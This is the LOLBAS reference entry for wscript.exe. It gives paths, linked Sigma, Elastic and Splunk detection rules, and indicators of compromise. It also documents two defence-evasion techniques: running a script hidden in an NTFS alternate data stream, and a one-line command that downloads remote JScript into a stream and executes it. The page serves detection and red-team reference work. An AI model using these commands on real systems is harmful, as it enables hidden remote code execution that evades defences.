.. /Wscript.exe

Star

Paths:

• C:\Windows\System32\wscript.exe
• C:\Windows\SysWOW64\wscript.exe

Resources:

• https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Acknowledgements:

• Oddvar Moe (@oddvarmoe)
• SaiLay(valen) (@404death)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wscript_cscript_script_exec.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml
• Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml
• Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/command_and_control_remote_file_copy_scripts.toml
• Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
• Splunk: https://github.com/splunk/security_content/blob/a1afa0fa605639cbef7d528dec46ce7c8112194a/detections/endpoint/wscript_or_cscript_suspicious_child_process.yml
• BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
• IOC: Wscript.exe executing code from alternate data streams
• IOC: DotNet CLR libraries loaded into wscript.exe
• IOC: DotNet CLR Usage Log - wscript.exe.log

Alternate data streams

1. Execute script stored in an alternate data stream

   wscript //e:vbscript c:\ads\file.txt:script.vbs

   Use case

   Execute hidden code to evade defensive counter measures

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1564.004

   Tags

   Execute: WSH

   This LOLBAS executes scripts in Windows Script Host (WSH) languages, such as VBScript and JScript.

2. Download and execute script stored in an alternate data stream

   echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js

   Use case

   Execute hidden code to evade defensive counter measures

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1564.004